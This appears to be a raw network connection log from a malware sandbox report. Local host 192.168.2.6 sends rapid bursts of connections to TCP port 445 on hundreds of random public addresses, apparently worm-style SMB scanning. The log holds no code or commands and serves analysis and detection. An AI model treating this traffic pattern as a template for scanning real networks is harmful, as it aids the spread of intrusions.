Jul 20, 2022 09:11:25.459186077 CEST	61755	445	192.168.2.6	180.43.121.112
Jul 20, 2022 09:11:25.459443092 CEST	61760	445	192.168.2.6	169.207.213.21
Jul 20, 2022 09:11:25.460201025 CEST	61776	445	192.168.2.6	174.199.133.141
Jul 20, 2022 09:11:25.461369991 CEST	61780	445	192.168.2.6	195.102.80.94
Jul 20, 2022 09:11:25.461502075 CEST	61782	445	192.168.2.6	9.134.116.48
Jul 20, 2022 09:11:25.461914062 CEST	61789	445	192.168.2.6	106.161.139.19
Jul 20, 2022 09:11:25.461973906 CEST	61790	445	192.168.2.6	90.180.236.73
Jul 20, 2022 09:11:25.462014914 CEST	61791	445	192.168.2.6	153.9.35.182
Jul 20, 2022 09:11:25.462101936 CEST	61792	445	192.168.2.6	88.41.122.142
Jul 20, 2022 09:11:25.462454081 CEST	61799	445	192.168.2.6	18.86.33.33
Jul 20, 2022 09:11:25.463613033 CEST	61806	445	192.168.2.6	154.53.59.109
Jul 20, 2022 09:11:25.463923931 CEST	61812	445	192.168.2.6	188.216.16.29
Jul 20, 2022 09:11:25.464092970 CEST	61815	445	192.168.2.6	17.233.13.165
Jul 20, 2022 09:11:25.799977064 CEST	61817	445	192.168.2.6	185.147.213.44
Jul 20, 2022 09:11:25.800014019 CEST	61818	445	192.168.2.6	18.119.139.41
Jul 20, 2022 09:11:26.190357924 CEST	60912	445	192.168.2.6	201.187.246.6
Jul 20, 2022 09:11:26.253842115 CEST	61823	445	192.168.2.6	146.114.177.228
Jul 20, 2022 09:11:26.582524061 CEST	61837	445	192.168.2.6	41.91.1.36
Jul 20, 2022 09:11:26.582581997 CEST	61838	445	192.168.2.6	2.198.7.106
Jul 20, 2022 09:11:26.583153009 CEST	61852	445	192.168.2.6	14.84.19.72
Jul 20, 2022 09:11:26.583228111 CEST	61853	445	192.168.2.6	108.118.32.156
Jul 20, 2022 09:11:26.583525896 CEST	61860	445	192.168.2.6	223.64.9.232
Jul 20, 2022 09:11:26.583587885 CEST	61861	445	192.168.2.6	120.39.125.217
Jul 20, 2022 09:11:26.583700895 CEST	61863	445	192.168.2.6	139.53.185.161
Jul 20, 2022 09:11:26.583967924 CEST	61868	445	192.168.2.6	11.223.82.237
Jul 20, 2022 09:11:26.584084988 CEST	61869	445	192.168.2.6	19.107.23.169
Jul 20, 2022 09:11:26.584165096 CEST	61872	445	192.168.2.6	110.44.218.176
Jul 20, 2022 09:11:26.584256887 CEST	61874	445	192.168.2.6	153.197.43.140
Jul 20, 2022 09:11:26.584383965 CEST	61877	445	192.168.2.6	151.76.225.134
Jul 20, 2022 09:11:26.584516048 CEST	61880	445	192.168.2.6	70.110.47.49
Jul 20, 2022 09:11:26.584820986 CEST	61879	445	192.168.2.6	33.136.55.44
Jul 20, 2022 09:11:26.584840059 CEST	61886	445	192.168.2.6	87.247.6.119
Jul 20, 2022 09:11:26.585087061 CEST	61891	445	192.168.2.6	126.151.187.206
Jul 20, 2022 09:11:26.585210085 CEST	61892	445	192.168.2.6	87.132.48.137
Jul 20, 2022 09:11:26.585211992 CEST	61894	445	192.168.2.6	162.211.10.238
Jul 20, 2022 09:11:26.585266113 CEST	61830	445	192.168.2.6	94.145.149.23
Jul 20, 2022 09:11:26.585292101 CEST	61862	445	192.168.2.6	57.44.204.63
Jul 20, 2022 09:11:26.585302114 CEST	61864	445	192.168.2.6	110.95.254.133
Jul 20, 2022 09:11:26.585314989 CEST	61895	445	192.168.2.6	27.235.111.56
Jul 20, 2022 09:11:26.585715055 CEST	61903	445	192.168.2.6	12.82.113.16
Jul 20, 2022 09:11:26.585886955 CEST	61907	445	192.168.2.6	177.224.209.195
Jul 20, 2022 09:11:26.586028099 CEST	61910	445	192.168.2.6	112.64.226.101
Jul 20, 2022 09:11:26.586673975 CEST	61925	445	192.168.2.6	42.151.30.246
Jul 20, 2022 09:11:26.586756945 CEST	61926	445	192.168.2.6	134.91.50.162
Jul 20, 2022 09:11:26.878158092 CEST	61932	445	192.168.2.6	18.119.139.42
Jul 20, 2022 09:11:26.878436089 CEST	61933	445	192.168.2.6	185.147.213.45
Jul 20, 2022 09:11:27.380103111 CEST	61939	445	192.168.2.6	14.112.42.69
Jul 20, 2022 09:11:27.692276955 CEST	61949	445	192.168.2.6	186.88.138.26
Jul 20, 2022 09:11:27.692281008 CEST	61948	445	192.168.2.6	185.44.9.49
Jul 20, 2022 09:11:27.693594933 CEST	61963	445	192.168.2.6	62.252.84.212
Jul 20, 2022 09:11:27.693690062 CEST	61964	445	192.168.2.6	203.127.0.155
Jul 20, 2022 09:11:27.694271088 CEST	61968	445	192.168.2.6	90.253.147.89
Jul 20, 2022 09:11:27.695926905 CEST	61989	445	192.168.2.6	26.30.135.94
Jul 20, 2022 09:11:27.696293116 CEST	61993	445	192.168.2.6	88.100.72.96
Jul 20, 2022 09:11:27.696440935 CEST	61995	445	192.168.2.6	31.219.247.61
Jul 20, 2022 09:11:27.697071075 CEST	62003	445	192.168.2.6	6.228.213.24
Jul 20, 2022 09:11:27.697225094 CEST	62004	445	192.168.2.6	205.140.208.225
Jul 20, 2022 09:11:27.697513103 CEST	62007	445	192.168.2.6	129.236.236.43
Jul 20, 2022 09:11:27.697664976 CEST	62008	445	192.168.2.6	99.202.229.75
Jul 20, 2022 09:11:27.698151112 CEST	62013	445	192.168.2.6	118.107.45.40
Jul 20, 2022 09:11:27.698532104 CEST	62019	445	192.168.2.6	207.106.10.117
Jul 20, 2022 09:11:27.698703051 CEST	62020	445	192.168.2.6	22.60.211.97
Jul 20, 2022 09:11:27.698926926 CEST	62023	445	192.168.2.6	20.4.22.244
Jul 20, 2022 09:11:27.699110031 CEST	62024	445	192.168.2.6	55.154.147.87
Jul 20, 2022 09:11:27.699297905 CEST	62027	445	192.168.2.6	135.65.37.251
Jul 20, 2022 09:11:27.699486017 CEST	62031	445	192.168.2.6	44.19.146.23
Jul 20, 2022 09:11:27.699503899 CEST	62030	445	192.168.2.6	188.229.230.132
Jul 20, 2022 09:11:27.699748993 CEST	62035	445	192.168.2.6	78.59.214.111
Jul 20, 2022 09:11:27.699817896 CEST	62036	445	192.168.2.6	151.119.113.15
Jul 20, 2022 09:11:27.699851990 CEST	62037	445	192.168.2.6	45.208.147.76
Jul 20, 2022 09:11:27.699955940 CEST	62038	445	192.168.2.6	204.9.86.232
Jul 20, 2022 09:11:27.700009108 CEST	62039	445	192.168.2.6	160.54.71.176
Jul 20, 2022 09:11:27.700206995 CEST	62043	445	192.168.2.6	130.1.161.122
Jul 20, 2022 09:11:27.700321913 CEST	62044	445	192.168.2.6	61.137.33.84
Jul 20, 2022 09:11:27.941018105 CEST	62049	445	192.168.2.6	185.147.213.46
Jul 20, 2022 09:11:27.944216967 CEST	62048	445	192.168.2.6	18.119.139.43
Jul 20, 2022 09:11:28.488883018 CEST	62053	445	192.168.2.6	189.19.111.238
Jul 20, 2022 09:11:28.800375938 CEST	62058	445	192.168.2.6	25.226.12.78
Jul 20, 2022 09:11:28.802074909 CEST	62082	445	192.168.2.6	156.90.157.81
Jul 20, 2022 09:11:28.802248955 CEST	62083	445	192.168.2.6	177.123.244.215
Jul 20, 2022 09:11:28.802565098 CEST	62087	445	192.168.2.6	204.250.8.151
Jul 20, 2022 09:11:28.803261995 CEST	62097	445	192.168.2.6	47.42.69.82
Jul 20, 2022 09:11:28.803447962 CEST	62100	445	192.168.2.6	14.49.136.105
Jul 20, 2022 09:11:28.803817034 CEST	62105	445	192.168.2.6	186.233.34.175
Jul 20, 2022 09:11:28.804064989 CEST	62108	445	192.168.2.6	188.129.6.113
Jul 20, 2022 09:11:28.804188013 CEST	62110	445	192.168.2.6	202.190.154.56
Jul 20, 2022 09:11:28.804330111 CEST	62111	445	192.168.2.6	76.128.136.158
Jul 20, 2022 09:11:28.804521084 CEST	62113	445	192.168.2.6	130.72.93.216
Jul 20, 2022 09:11:28.804554939 CEST	62112	445	192.168.2.6	171.197.210.241
Jul 20, 2022 09:11:28.804846048 CEST	62117	445	192.168.2.6	187.110.65.71
Jul 20, 2022 09:11:28.804995060 CEST	62118	445	192.168.2.6	62.248.201.216
Jul 20, 2022 09:11:28.805303097 CEST	62122	445	192.168.2.6	194.148.213.75
Jul 20, 2022 09:11:28.805593014 CEST	62126	445	192.168.2.6	101.95.1.231
Jul 20, 2022 09:11:28.805736065 CEST	62127	445	192.168.2.6	200.142.128.119
Jul 20, 2022 09:11:28.805982113 CEST	62130	445	192.168.2.6	49.137.244.234
Jul 20, 2022 09:11:28.806005955 CEST	62131	445	192.168.2.6	190.63.109.221
Jul 20, 2022 09:11:28.806152105 CEST	62132	445	192.168.2.6	99.14.173.37
Jul 20, 2022 09:11:28.806435108 CEST	62135	445	192.168.2.6	25.167.45.102
Jul 20, 2022 09:11:28.807109118 CEST	62144	445	192.168.2.6	159.214.98.227
Jul 20, 2022 09:11:28.807245016 CEST	62146	445	192.168.2.6	184.248.3.75
Jul 20, 2022 09:11:28.807316065 CEST	62147	445	192.168.2.6	51.27.153.84
Jul 20, 2022 09:11:28.807398081 CEST	62148	445	192.168.2.6	187.3.77.230
Jul 20, 2022 09:11:28.807832956 CEST	62154	445	192.168.2.6	196.177.179.6
Jul 20, 2022 09:11:28.808104992 CEST	62158	445	192.168.2.6	166.206.110.55
Jul 20, 2022 09:11:28.831195116 CEST	60763	445	192.168.2.6	155.101.152.3
Jul 20, 2022 09:11:29.003319979 CEST	62164	445	192.168.2.6	185.147.213.47
Jul 20, 2022 09:11:29.003323078 CEST	62163	445	192.168.2.6	18.119.139.44
Jul 20, 2022 09:11:29.612864971 CEST	62172	445	192.168.2.6	104.90.175.181
Jul 20, 2022 09:11:29.926343918 CEST	62177	445	192.168.2.6	79.222.198.70
Jul 20, 2022 09:11:29.926816940 CEST	62182	445	192.168.2.6	92.214.21.222
Jul 20, 2022 09:11:29.926908016 CEST	62184	445	192.168.2.6	201.142.143.240
Jul 20, 2022 09:11:29.926985979 CEST	62185	445	192.168.2.6	148.160.18.6
Jul 20, 2022 09:11:29.927037954 CEST	62186	445	192.168.2.6	29.132.223.73
Jul 20, 2022 09:11:29.927243948 CEST	62189	445	192.168.2.6	48.54.37.15
Jul 20, 2022 09:11:29.927746058 CEST	62199	445	192.168.2.6	43.99.186.241
Jul 20, 2022 09:11:29.927793026 CEST	62200	445	192.168.2.6	26.26.237.246
Jul 20, 2022 09:11:29.927865982 CEST	62201	445	192.168.2.6	159.80.30.229
Jul 20, 2022 09:11:29.927958965 CEST	62202	445	192.168.2.6	119.103.18.3
Jul 20, 2022 09:11:29.928124905 CEST	62206	445	192.168.2.6	40.89.23.67
Jul 20, 2022 09:11:29.928383112 CEST	62210	445	192.168.2.6	21.148.118.87
Jul 20, 2022 09:11:29.928786039 CEST	62218	445	192.168.2.6	141.90.252.251
Jul 20, 2022 09:11:29.929722071 CEST	62239	445	192.168.2.6	218.115.159.73
Jul 20, 2022 09:11:29.929991961 CEST	62243	445	192.168.2.6	54.8.65.176
Jul 20, 2022 09:11:29.930107117 CEST	62245	445	192.168.2.6	15.242.180.87
Jul 20, 2022 09:11:29.930661917 CEST	62257	445	192.168.2.6	177.2.71.48
Jul 20, 2022 09:11:29.930716991 CEST	62258	445	192.168.2.6	120.74.233.99
Jul 20, 2022 09:11:29.930958986 CEST	62262	445	192.168.2.6	29.242.10.101
Jul 20, 2022 09:11:29.931122065 CEST	62264	445	192.168.2.6	60.45.186.242
Jul 20, 2022 09:11:29.931248903 CEST	62267	445	192.168.2.6	32.31.135.6
Jul 20, 2022 09:11:29.931395054 CEST	62269	445	192.168.2.6	58.110.179.212
Jul 20, 2022 09:11:29.931443930 CEST	62270	445	192.168.2.6	150.120.176.42
Jul 20, 2022 09:11:29.931602955 CEST	62272	445	192.168.2.6	88.71.35.231
Jul 20, 2022 09:11:29.931719065 CEST	62274	445	192.168.2.6	29.147.220.69
Jul 20, 2022 09:11:29.931824923 CEST	62276	445	192.168.2.6	213.217.82.245
Jul 20, 2022 09:11:30.081737041 CEST	62280	445	192.168.2.6	18.119.139.45
Jul 20, 2022 09:11:30.081846952 CEST	62281	445	192.168.2.6	185.147.213.48
Jul 20, 2022 09:11:30.128135920 CEST	60799	445	192.168.2.6	155.101.152.3
Jul 20, 2022 09:11:30.723237991 CEST	62288	445	192.168.2.6	62.44.217.252
Jul 20, 2022 09:11:31.051415920 CEST	62299	445	192.168.2.6	154.170.130.88
Jul 20, 2022 09:11:31.051630020 CEST	62303	445	192.168.2.6	30.217.226.227
Jul 20, 2022 09:11:31.051645994 CEST	62304	445	192.168.2.6	2.108.8.172
Jul 20, 2022 09:11:31.052026033 CEST	62311	445	192.168.2.6	153.32.84.82
Jul 20, 2022 09:11:31.052172899 CEST	62314	445	192.168.2.6	188.116.237.215
Jul 20, 2022 09:11:31.052242041 CEST	62315	445	192.168.2.6	83.30.4.220
Jul 20, 2022 09:11:31.052277088 CEST	62316	445	192.168.2.6	93.77.251.19
Jul 20, 2022 09:11:31.052397966 CEST	62318	445	192.168.2.6	210.211.248.113
Jul 20, 2022 09:11:31.052611113 CEST	62321	445	192.168.2.6	139.45.100.70
Jul 20, 2022 09:11:31.052685022 CEST	62323	445	192.168.2.6	102.87.158.186
Jul 20, 2022 09:11:31.052803993 CEST	62325	445	192.168.2.6	114.64.7.243
Jul 20, 2022 09:11:31.052831888 CEST	62326	445	192.168.2.6	61.193.0.85
Jul 20, 2022 09:11:31.052947044 CEST	62328	445	192.168.2.6	118.181.158.10
Jul 20, 2022 09:11:31.052975893 CEST	62329	445	192.168.2.6	87.95.69.217
Jul 20, 2022 09:11:31.053086996 CEST	62330	445	192.168.2.6	77.222.173.143
Jul 20, 2022 09:11:31.053498030 CEST	62340	445	192.168.2.6	37.173.206.9
Jul 20, 2022 09:11:31.053683996 CEST	62343	445	192.168.2.6	200.119.177.104
Jul 20, 2022 09:11:31.053811073 CEST	62344	445	192.168.2.6	86.38.218.108
Jul 20, 2022 09:11:31.053809881 CEST	62345	445	192.168.2.6	75.175.42.93
Jul 20, 2022 09:11:31.053824902 CEST	62346	445	192.168.2.6	135.90.71.46
Jul 20, 2022 09:11:31.053930998 CEST	62347	445	192.168.2.6	207.209.125.138
Jul 20, 2022 09:11:31.054151058 CEST	62352	445	192.168.2.6	210.61.88.238
Jul 20, 2022 09:11:31.054368973 CEST	62357	445	192.168.2.6	39.209.83.189
Jul 20, 2022 09:11:31.054493904 CEST	62359	445	192.168.2.6	205.167.63.186
Jul 20, 2022 09:11:31.055151939 CEST	62370	445	192.168.2.6	149.242.243.13
Jul 20, 2022 09:11:31.055867910 CEST	62387	445	192.168.2.6	42.46.98.207
Jul 20, 2022 09:11:31.056222916 CEST	62395	445	192.168.2.6	27.53.181.25
Jul 20, 2022 09:11:31.116570950 CEST	445	62330	77.222.173.143	192.168.2.6
Jul 20, 2022 09:11:31.159967899 CEST	62397	445	192.168.2.6	185.147.213.49
Jul 20, 2022 09:11:31.159970045 CEST	62398	445	192.168.2.6	18.119.139.46
Jul 20, 2022 09:11:31.628282070 CEST	62330	445	192.168.2.6	77.222.173.143
Jul 20, 2022 09:11:31.692049980 CEST	445	62330	77.222.173.143	192.168.2.6
Jul 20, 2022 09:11:31.847522020 CEST	62407	445	192.168.2.6	56.226.214.212
Jul 20, 2022 09:11:32.176239014 CEST	62411	445	192.168.2.6	154.203.212.83
Jul 20, 2022 09:11:32.176289082 CEST	62412	445	192.168.2.6	74.4.15.38
Jul 20, 2022 09:11:32.176629066 CEST	62414	445	192.168.2.6	55.77.176.130
Jul 20, 2022 09:11:32.177556038 CEST	62422	445	192.168.2.6	128.13.161.15
Jul 20, 2022 09:11:32.177716017 CEST	62423	445	192.168.2.6	91.69.211.253
Jul 20, 2022 09:11:32.178431034 CEST	62430	445	192.168.2.6	95.44.173.76
Jul 20, 2022 09:11:32.179886103 CEST	62443	445	192.168.2.6	1.203.135.106
Jul 20, 2022 09:11:32.182029009 CEST	62461	445	192.168.2.6	170.114.21.150
Jul 20, 2022 09:11:32.182760954 CEST	62468	445	192.168.2.6	19.164.162.11
Jul 20, 2022 09:11:32.183007956 CEST	62470	445	192.168.2.6	58.63.61.161
Jul 20, 2022 09:11:32.183481932 CEST	62474	445	192.168.2.6	117.56.146.163
Jul 20, 2022 09:11:32.183820009 CEST	62477	445	192.168.2.6	101.75.63.158
Jul 20, 2022 09:11:32.184439898 CEST	62483	445	192.168.2.6	155.7.179.96
Jul 20, 2022 09:11:32.184696913 CEST	62484	445	192.168.2.6	45.115.54.87
Jul 20, 2022 09:11:32.184885025 CEST	62486	445	192.168.2.6	51.110.240.210
Jul 20, 2022 09:11:32.185003042 CEST	62487	445	192.168.2.6	167.40.232.15
Jul 20, 2022 09:11:32.185149908 CEST	62488	445	192.168.2.6	151.160.185.126
Jul 20, 2022 09:11:32.185516119 CEST	62491	445	192.168.2.6	33.11.208.46
Jul 20, 2022 09:11:32.186319113 CEST	62500	445	192.168.2.6	221.252.245.179
Jul 20, 2022 09:11:32.186645985 CEST	62503	445	192.168.2.6	105.163.46.202
Jul 20, 2022 09:11:32.186691999 CEST	62504	445	192.168.2.6	105.208.94.164
Jul 20, 2022 09:11:32.186952114 CEST	62506	445	192.168.2.6	42.202.91.251
Jul 20, 2022 09:11:32.187201977 CEST	62507	445	192.168.2.6	8.212.23.251
Jul 20, 2022 09:11:32.187247038 CEST	62508	445	192.168.2.6	86.129.77.126
Jul 20, 2022 09:11:32.187424898 CEST	62509	445	192.168.2.6	181.65.176.25
Jul 20, 2022 09:11:32.187693119 CEST	62512	445	192.168.2.6	126.10.98.202
Jul 20, 2022 09:11:32.187892914 CEST	62514	445	192.168.2.6	222.113.108.34
Jul 20, 2022 09:11:32.223364115 CEST	62515	445	192.168.2.6	185.147.213.50
Jul 20, 2022 09:11:32.223515987 CEST	62516	445	192.168.2.6	18.119.139.47
Jul 20, 2022 09:11:33.147831917 CEST	62525	445	192.168.2.6	141.225.76.180
Jul 20, 2022 09:11:33.148358107 CEST	62526	445	192.168.2.6	155.101.152.3
Jul 20, 2022 09:11:33.286259890 CEST	62529	445	192.168.2.6	18.119.139.48
Jul 20, 2022 09:11:33.286485910 CEST	62530	445	192.168.2.6	185.147.213.51
Jul 20, 2022 09:11:33.301852942 CEST	62538	445	192.168.2.6	201.173.181.180
Jul 20, 2022 09:11:33.302545071 CEST	62545	445	192.168.2.6	102.189.54.31
Jul 20, 2022 09:11:33.302804947 CEST	62547	445	192.168.2.6	144.213.159.46
Jul 20, 2022 09:11:33.303219080 CEST	62552	445	192.168.2.6	189.147.19.209
Jul 20, 2022 09:11:33.303271055 CEST	445	62526	155.101.152.3	192.168.2.6
Jul 20, 2022 09:11:33.303358078 CEST	62526	445	192.168.2.6	155.101.152.3
Jul 20, 2022 09:11:33.303527117 CEST	62554	445	192.168.2.6	103.68.196.122
Jul 20, 2022 09:11:33.304063082 CEST	62560	445	192.168.2.6	222.62.224.248
Jul 20, 2022 09:11:33.304219961 CEST	62562	445	192.168.2.6	25.0.237.77
Jul 20, 2022 09:11:33.304316998 CEST	62563	445	192.168.2.6	129.44.208.191
Jul 20, 2022 09:11:33.304406881 CEST	62564	445	192.168.2.6	170.106.246.36
Jul 20, 2022 09:11:33.304512978 CEST	62565	445	192.168.2.6	207.224.73.198
Jul 20, 2022 09:11:33.304851055 CEST	62569	445	192.168.2.6	101.226.202.230
Jul 20, 2022 09:11:33.305500031 CEST	62577	445	192.168.2.6	52.25.130.123
Jul 20, 2022 09:11:33.305751085 CEST	62580	445	192.168.2.6	103.199.72.228
Jul 20, 2022 09:11:33.305845976 CEST	62581	445	192.168.2.6	176.110.193.108
Jul 20, 2022 09:11:33.306018114 CEST	62583	445	192.168.2.6	154.218.182.249
Jul 20, 2022 09:11:33.306117058 CEST	62584	445	192.168.2.6	147.80.178.175
Jul 20, 2022 09:11:33.306209087 CEST	62585	445	192.168.2.6	56.19.13.45
Jul 20, 2022 09:11:33.306387901 CEST	62587	445	192.168.2.6	130.59.138.135
Jul 20, 2022 09:11:33.306571960 CEST	62589	445	192.168.2.6	108.49.131.216
Jul 20, 2022 09:11:33.306777000 CEST	62591	445	192.168.2.6	176.5.110.177
Jul 20, 2022 09:11:33.307956934 CEST	62606	445	192.168.2.6	215.123.180.74
Jul 20, 2022 09:11:33.308749914 CEST	62616	445	192.168.2.6	163.88.20.56
Jul 20, 2022 09:11:33.309160948 CEST	62617	445	192.168.2.6	49.132.246.146
Jul 20, 2022 09:11:33.309341908 CEST	62619	445	192.168.2.6	152.188.10.230
Jul 20, 2022 09:11:33.310045004 CEST	62627	445	192.168.2.6	49.18.231.40
Jul 20, 2022 09:11:33.310237885 CEST	62629	445	192.168.2.6	163.241.242.224
Jul 20, 2022 09:11:33.310743093 CEST	62635	445	192.168.2.6	185.113.218.144
Jul 20, 2022 09:11:33.444901943 CEST	445	62538	201.173.181.180	192.168.2.6
Jul 20, 2022 09:11:33.769136906 CEST	62526	445	192.168.2.6	155.101.152.3
Jul 20, 2022 09:11:33.956592083 CEST	62538	445	192.168.2.6	201.173.181.180
Jul 20, 2022 09:11:34.097645998 CEST	445	62538	201.173.181.180	192.168.2.6
Jul 20, 2022 09:11:34.206679106 CEST	62526	445	192.168.2.6	155.101.152.3
Jul 20, 2022 09:11:34.630239010 CEST	62643	445	192.168.2.6	18.119.139.49
Jul 20, 2022 09:11:34.630374908 CEST	62644	445	192.168.2.6	185.147.213.52
Jul 20, 2022 09:11:34.677102089 CEST	62651	445	192.168.2.6	41.240.209.65
Jul 20, 2022 09:11:34.677397966 CEST	62653	445	192.168.2.6	84.3.148.243
Jul 20, 2022 09:11:34.677520990 CEST	62654	445	192.168.2.6	67.192.121.172
Jul 20, 2022 09:11:34.677762985 CEST	62656	445	192.168.2.6	100.33.101.46
Jul 20, 2022 09:11:34.678700924 CEST	62664	445	192.168.2.6	178.189.41.61
Jul 20, 2022 09:11:34.678966999 CEST	62666	445	192.168.2.6	216.103.51.211
Jul 20, 2022 09:11:34.679613113 CEST	62672	445	192.168.2.6	59.53.235.241
Jul 20, 2022 09:11:34.679739952 CEST	62673	445	192.168.2.6	165.6.164.120
Jul 20, 2022 09:11:34.679893017 CEST	62674	445	192.168.2.6	33.77.131.251
Jul 20, 2022 09:11:34.680052996 CEST	62675	445	192.168.2.6	70.150.37.153
Jul 20, 2022 09:11:34.680557013 CEST	62679	445	192.168.2.6	142.116.213.155
Jul 20, 2022 09:11:34.681493044 CEST	62687	445	192.168.2.6	164.13.66.15
Jul 20, 2022 09:11:34.681870937 CEST	62690	445	192.168.2.6	201.196.49.219
Jul 20, 2022 09:11:34.682019949 CEST	62691	445	192.168.2.6	111.226.62.68
Jul 20, 2022 09:11:34.682709932 CEST	62693	445	192.168.2.6	123.107.47.51
Jul 20, 2022 09:11:34.682873964 CEST	62694	445	192.168.2.6	214.83.31.196
Jul 20, 2022 09:11:34.683007002 CEST	62695	445	192.168.2.6	150.100.228.15
Jul 20, 2022 09:11:34.683288097 CEST	62697	445	192.168.2.6	147.222.217.231
Jul 20, 2022 09:11:34.683538914 CEST	62699	445	192.168.2.6	196.187.105.85
Jul 20, 2022 09:11:34.683803082 CEST	62701	445	192.168.2.6	167.36.68.219
Jul 20, 2022 09:11:34.685148954 CEST	62716	445	192.168.2.6	166.80.57.182
Jul 20, 2022 09:11:34.693044901 CEST	62733	445	192.168.2.6	161.60.14.137
Jul 20, 2022 09:11:34.693599939 CEST	62740	445	192.168.2.6	9.158.254.20
Jul 20, 2022 09:11:34.693769932 CEST	62742	445	192.168.2.6	110.107.177.125
Jul 20, 2022 09:11:34.694176912 CEST	62747	445	192.168.2.6	21.42.178.15
Jul 20, 2022 09:11:34.694363117 CEST	62749	445	192.168.2.6	109.244.3.106
Jul 20, 2022 09:11:34.694847107 CEST	62755	445	192.168.2.6	119.82.74.187
Jul 20, 2022 09:11:34.695038080 CEST	62757	445	192.168.2.6	171.150.25.42
Jul 20, 2022 09:11:35.128624916 CEST	62526	445	192.168.2.6	155.101.152.3
Jul 20, 2022 09:11:35.694349051 CEST	62763	445	192.168.2.6	18.119.139.50
Jul 20, 2022 09:11:35.694595098 CEST	62764	445	192.168.2.6	185.147.213.53
Jul 20, 2022 09:11:35.802428961 CEST	62771	445	192.168.2.6	44.39.91.55
Jul 20, 2022 09:11:35.802524090 CEST	62772	445	192.168.2.6	63.141.158.2
Jul 20, 2022 09:11:35.802623987 CEST	62773	445	192.168.2.6	8.91.167.151
Jul 20, 2022 09:11:35.802741051 CEST	62774	445	192.168.2.6	48.99.16.120
Jul 20, 2022 09:11:35.803088903 CEST	62778	445	192.168.2.6	186.76.190.69
Jul 20, 2022 09:11:35.803733110 CEST	62786	445	192.168.2.6	193.107.111.225
Jul 20, 2022 09:11:35.803999901 CEST	62789	445	192.168.2.6	220.228.76.69
Jul 20, 2022 09:11:35.804090023 CEST	62790	445	192.168.2.6	166.199.154.74
Jul 20, 2022 09:11:35.804265976 CEST	62792	445	192.168.2.6	102.236.39.127
Jul 20, 2022 09:11:35.804366112 CEST	62793	445	192.168.2.6	109.206.98.224
Jul 20, 2022 09:11:35.804487944 CEST	62794	445	192.168.2.6	204.103.62.82
Jul 20, 2022 09:11:35.804651022 CEST	62796	445	192.168.2.6	109.71.91.57
Jul 20, 2022 09:11:35.804822922 CEST	62798	445	192.168.2.6	23.70.156.178
Jul 20, 2022 09:11:35.805022955 CEST	62800	445	192.168.2.6	28.134.203.106
Jul 20, 2022 09:11:35.806262016 CEST	62815	445	192.168.2.6	80.27.231.177
Jul 20, 2022 09:11:35.807409048 CEST	62829	445	192.168.2.6	137.199.81.68
Jul 20, 2022 09:11:35.807609081 CEST	62831	445	192.168.2.6	58.49.99.69
Jul 20, 2022 09:11:35.807688951 CEST	62832	445	192.168.2.6	63.127.106.200
Jul 20, 2022 09:11:35.807871103 CEST	62834	445	192.168.2.6	67.98.55.41
Jul 20, 2022 09:11:35.808523893 CEST	62842	445	192.168.2.6	13.223.203.176
Jul 20, 2022 09:11:35.808698893 CEST	62844	445	192.168.2.6	215.233.28.45
Jul 20, 2022 09:11:35.853739977 CEST	62853	445	192.168.2.6	95.65.114.21
Jul 20, 2022 09:11:35.854327917 CEST	62860	445	192.168.2.6	133.52.176.187
Jul 20, 2022 09:11:35.854504108 CEST	62862	445	192.168.2.6	115.163.38.198
Jul 20, 2022 09:11:35.854959011 CEST	62867	445	192.168.2.6	188.211.154.243
Jul 20, 2022 09:11:35.855124950 CEST	62869	445	192.168.2.6	22.84.17.0
Jul 20, 2022 09:11:35.855623960 CEST	62875	445	192.168.2.6	87.246.51.221
Jul 20, 2022 09:11:35.855817080 CEST	62877	445	192.168.2.6	174.216.71.139
Jul 20, 2022 09:11:36.327150106 CEST	445	62815	80.27.231.177	192.168.2.6
Jul 20, 2022 09:11:36.769691944 CEST	62883	445	192.168.2.6	18.119.139.51
Jul 20, 2022 09:11:36.769797087 CEST	62884	445	192.168.2.6	185.147.213.54
Jul 20, 2022 09:11:36.910804033 CEST	62887	445	192.168.2.6	213.124.241.53
Jul 20, 2022 09:11:36.910969973 CEST	62888	445	192.168.2.6	107.107.57.91
Jul 20, 2022 09:11:36.911236048 CEST	62893	445	192.168.2.6	195.240.105.79
Jul 20, 2022 09:11:36.911258936 CEST	62892	445	192.168.2.6	8.147.218.155
Jul 20, 2022 09:11:36.911406040 CEST	62894	445	192.168.2.6	52.45.108.169
Jul 20, 2022 09:11:36.911550045 CEST	62897	445	192.168.2.6	145.83.14.29
Jul 20, 2022 09:11:36.911720037 CEST	62899	445	192.168.2.6	196.245.21.75
Jul 20, 2022 09:11:36.911896944 CEST	62901	445	192.168.2.6	174.254.222.74
Jul 20, 2022 09:11:36.912806034 CEST	62916	445	192.168.2.6	60.28.6.113
Jul 20, 2022 09:11:36.913614988 CEST	62930	445	192.168.2.6	111.234.161.42
Jul 20, 2022 09:11:36.913881063 CEST	62934	445	192.168.2.6	220.174.104.2
Jul 20, 2022 09:11:36.913912058 CEST	62933	445	192.168.2.6	81.5.234.164
Jul 20, 2022 09:11:36.914032936 CEST	62935	445	192.168.2.6	194.234.52.58
Jul 20, 2022 09:11:36.914618015 CEST	62944	445	192.168.2.6	14.132.241.53
Jul 20, 2022 09:11:36.914748907 CEST	62946	445	192.168.2.6	17.206.139.132
Jul 20, 2022 09:11:36.915400028 CEST	62954	445	192.168.2.6	38.61.158.24
Jul 20, 2022 09:11:36.915491104 CEST	62955	445	192.168.2.6	23.186.14.156
Jul 20, 2022 09:11:36.915792942 CEST	62959	445	192.168.2.6	217.37.148.154
Jul 20, 2022 09:11:36.916078091 CEST	62963	445	192.168.2.6	32.221.79.105
Jul 20, 2022 09:11:36.916515112 CEST	62964	445	192.168.2.6	144.207.212.10
Jul 20, 2022 09:11:36.956856966 CEST	62526	445	192.168.2.6	155.101.152.3
Jul 20, 2022 09:11:36.973774910 CEST	62969	445	192.168.2.6	131.214.168.195
Jul 20, 2022 09:11:36.974054098 CEST	62973	445	192.168.2.6	109.121.0.158
Jul 20, 2022 09:11:36.974328995 CEST	62978	445	192.168.2.6	45.186.222.119
Jul 20, 2022 09:11:36.974800110 CEST	62987	445	192.168.2.6	12.80.8.38
Jul 20, 2022 09:11:36.974937916 CEST	62988	445	192.168.2.6	58.175.115.219
Jul 20, 2022 09:11:36.975202084 CEST	62994	445	192.168.2.6	29.10.58.163
Jul 20, 2022 09:11:36.975398064 CEST	62997	445	192.168.2.6	30.172.90.186
Jul 20, 2022 09:11:36.981405973 CEST	445	62699	196.187.105.85	192.168.2.6
Jul 20, 2022 09:11:37.076694965 CEST	445	62973	109.121.0.158	192.168.2.6
Jul 20, 2022 09:11:37.582015038 CEST	62973	445	192.168.2.6	109.121.0.158
